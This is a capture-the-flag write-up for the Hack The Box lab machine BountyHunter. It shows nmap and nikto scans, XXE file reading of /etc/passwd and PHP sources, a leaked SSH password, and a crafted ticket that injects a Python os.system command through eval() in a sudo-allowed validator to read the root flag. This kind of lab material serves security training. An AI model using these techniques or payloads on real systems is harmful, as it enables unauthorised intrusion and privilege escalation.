HTB Write-up | BountyHunter

HTB Write-up | BountyHunter

Retired machine can be found here.


Scanning

Like with most HTB machines, a quick scan only disclosed SSH running on port 22 and a web server running on port 80:

~ nmap 10.10.11.100

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

~ nmap 10.10.11.100 -sC -sV -A -p 22,80

22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 d4:4c:f5:79:9a:79:a3:b0:f1:66:25:52:c9:53:1f:e1 (RSA)
|   256 a2:1e:67:61:8d:2f:7a:37:a7:ba:3b:51:08:e8:89:a6 (ECDSA)
|_  256 a5:75:16:d9:69:58:50:4a:14:11:7a:42:c1:b6:23:44 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Bounty Hunters

The website seems to be the corporate page for "The B Team": they're bounty hunters, security researchers, and can also use Burp ... impressive stuff.

The "Portal" link sends us to a portal.php page, which itself links to a page that contains "the bounty tracker" - note that the portal itself is "under development":

The "bounty tracker" aka the "Bounty Report System" is hosted at /log_submit.php and is still in beta:

We're also able to navigate the /resources directory, which contains some interesting files:

The most interesting, at first glance, seems to be this note:

A lot to unpack here:

  • there's a test account on the portal that supports nopass;
  • we should probably take a look at the "tracker submit script";
  • this script is not yet connected to a DB;
  • there's a developer group somewhere, that used to have too many permissions.

Running nikto we also found a db.php file:

~ nikto -host 10.10.11.100
...
OSVDB-3093: /db.php: This might be interesting... has been seen in web logs from an unknown scanner.

And indeed, unlike other random (non-existing) files, this one doesn't return 404, but also doesn't return any data.


XXE to LFI

The /resources/bountylog.js file seems to be the aforementioned "tracker submit script". As you can see below, this script:

  • takes the values from the form submitted on the log_submit.php page
  • builds an XML string
  • base64-encodes this data
  • sends it to /tracker_diRbPr00f314.php via POST request

In response, this /tracker_diRbPr00f314.php page displays the submitted data, and also an interesting message: "If DB were ready, would have added: [...]" - this lets us know that the DB is not yet configured:

Since the data is sent via XML I wanted to see if I could manipulate this payload in a way that achieves LFI using XXE. As always, I created a Python script to help me test ideas out:

Turns out, the application is vulnerable to XXE - as an example we can see the output of the /etc/passwd file:


LFI to RCE

After running this script with a few different SecLists (and creating some lists of my own), I was able to get the exact Linux version:

Linux version 5.4.0-80-generic (buildd@lcy01-amd64-030) (gcc version 9.3.0 (Ubuntu 9.3.0-17ubuntu1~20.04)) #90-Ubuntu SMP Fri Jul 9 22:49:44 UTC 2021

... as well as the most interesting users:

# /etc/passwd
...
root:x:0:0:root:/root:/bin/bash
development:x:1000:1000:Development:/home/development:/bin/bash
...

After changing the script to use php://filter/read=convert.base64-encode/resource= instead of file:// for files ending in .php, I also had access to all of the project's files, including the DB:

~ python3 xxe-script.py -url http://10.10.11.100/tracker_diRbPr00f314.php -pathlist wordlists/custom-finding-webserver-files.txt
Checking /var/www/html/db.php
	File contains data!
Checking /var/www/html/index.php
	File contains data!
Checking /var/www/html/portal.php
	File contains data!
Checking /var/www/html/log_submit.php
	File contains data!
Checking /var/www/html/tracker_diRbPr00f314.php
	File contains data!
Checking /var/www/html/resources/README.txt
	File contains data!
Checking /var/www/html/resources/lato.css
	File contains data!
Checking /var/www/html/resources/monsterat.css
	File contains data!
Checking /var/www/html/resources/all.js
Checking /var/www/html/resources/bootstrap.bundle.min.js
Checking /var/www/html/resources/bootstrap_login.min.js
Checking /var/www/html/resources/bountylog.js
Checking /var/www/html/resources/jquery.easing.min.js
Checking /var/www/html/resources/jquery.min.js
Checking /var/www/html/resources/jquery_login.min.js

Luckily for us, someone used the same creds for the DB and SSH access, so I got a shell:

~ ssh development@10.10.11.100
> m19RoAU0hP41A1sTsq6K

R00ting

Once in the user's /home directory, I could see a message from John to other developers:

~ ls -la
lrwxrwxrwx 1 root        root           9 Apr  5 22:53 .bash_history -> /dev/null
-rw-r--r-- 1 development development  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 development development 3771 Feb 25  2020 .bashrc
drwx------ 2 development development 4096 Apr  5 22:50 .cache
lrwxrwxrwx 1 root        root           9 Jul  5 05:46 .lesshst -> /dev/null
drwxrwxr-x 3 development development 4096 Apr  6 23:34 .local
-rw-r--r-- 1 development development  807 Feb 25  2020 .profile
drwx------ 2 development development 4096 Apr  7 01:48 .ssh
-rw-r--r-- 1 root        root         471 Jun 15 16:10 contract.txt
-r--r----- 1 root        development   33 Sep 19 06:18 user.txt
$ cat contract.txt
Hey team,

I'll be out of the office this week but please make sure that our contract with Skytrain Inc gets completed.

This has been our first job since the "rm -rf" incident and we can't mess this up. Whenever one of you gets on please have a look at the internal tool they sent over. There have been a handful of tickets submitted that have been failing validation and I need you to figure out why.

I set up the permissions for you to test this. Good luck.

-- John

John seems to be referring to some "internal tool" sent by "Skytrain Inc", so I tried to find any other reference to this company. Under /opt I got some interesting matches:

$ grep -Rils 'Skytrain' /opt

/opt/skytrain_inc/ticketValidator.py
/opt/skytrain_inc/invalid_tickets/390681613.md
/opt/skytrain_inc/invalid_tickets/734485704.md
/opt/skytrain_inc/invalid_tickets/529582686.md
/opt/skytrain_inc/invalid_tickets/600939065.md

The ticketValidator.py seems interesting:

~ ls -la /opt/skytrain_inc/ticketValidator.py
-r-xr--r-- 1 root root 1471 Jul 22 11:08 /opt/skytrain_inc/ticketValidator.py

When we run it using some of the tickets in the same directory, we see that these tickets are invalid:

$ python3 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
/opt/skytrain_inc/invalid_tickets/390681613.md
Destination: New Haven
Invalid ticket.

$ python3 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
/opt/skytrain_inc/invalid_tickets/734485704.md
Destination: Bridgeport
Invalid ticket.

Let's take a closer look at the script to see if we're able to abuse it:

#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.

def load_file(loc):
    if loc.endswith(".md"):
        return open(loc, 'r')
    else:
        print("Wrong file type.")
        exit()

def evaluate(ticketFile):
    #Evaluates a ticket to check for ireggularities.
    code_line = None
    for i,x in enumerate(ticketFile.readlines()):
        if i == 0:
            if not x.startswith("# Skytrain Inc"):
                return False
            continue
        if i == 1:
            if not x.startswith("## Ticket to "):
                return False
            print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
            continue

        if x.startswith("__Ticket Code:__"):
            code_line = i+1
            continue

        if code_line and i == code_line:
            if not x.startswith("**"):
                return False
            ticketCode = x.replace("**", "").split("+")[0]
            if int(ticketCode) % 7 == 4:
                validationNumber = eval(x.replace("**", ""))
                if validationNumber > 100:
                    return True
                else:
                    return False
    return False

def main():
    fileName = input("Please enter the path to the ticket file.\n")
    ticket = load_file(fileName)
    #DEBUG print(ticket)
    result = evaluate(ticket)
    if (result):
        print("Valid ticket.")
    else:
        print("Invalid ticket.")
    ticket.close

main()

After some local tests I was able to create a valid payload, but I was still unable to get the root flag, due to a "Permission denied" exception:

# Skytrain Inc
## Ticket to Bridgeport
__Ticket Code:__
**18 + __import__('os').system('cat /root/root.txt')**
##Issued: 2021/06/21
#End Ticket

After using linpeas.sh I realised that I was able to execute a very specific command as sudo:

User development may run the following commands on bountyhunter:
    (root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py

Using this privileged command, I was able to get the flag:

$ sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
/tmp/malicious.md
Destination: Bridgeport
c70cb6e9f9e9a923d6718090a3f74d33
Invalid ticket.

References